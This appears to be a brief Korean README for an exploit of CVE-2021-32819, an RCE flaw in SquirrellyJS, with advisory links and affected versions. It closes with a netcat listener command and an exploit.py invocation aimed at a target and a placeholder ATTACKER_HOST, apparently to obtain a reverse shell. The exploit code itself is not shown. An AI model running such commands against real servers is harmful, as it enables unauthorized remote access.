
SquirrellyJS는 Express 렌더 API를 통해 순수 템플릿 데이터와 엔진 구성 옵션을 혼합합니다. 내부 구성 옵션을 덮어씀으로써 다운스트림 애플리케이션에서 원격 코드 실행이 트리거될 수 있습니다.
CVE-2021-32819 : SquirrellyJS는 Express 렌더 API를 통해 순수 템플릿 데이터와 엔진 구성 옵션을 혼합합니다. 내부 구성 옵션을 덮어씀으로써, 다운스트림 애플리케이션에서 원격 코드 실행이 트리거될 수 있습니다.
https://securitylab.github.com/advisories/GHSL-2021-023-squirrelly/
https://blog.diefunction.io/vulnerabilities/ghsl-2021-023
v8.0.0 >= v8.0.8 원격 코드 실행
Ubuntu 20.04.1
nc -lvp 443
python3 exploit.py http://example.com/ ATTACKER_HOST 443
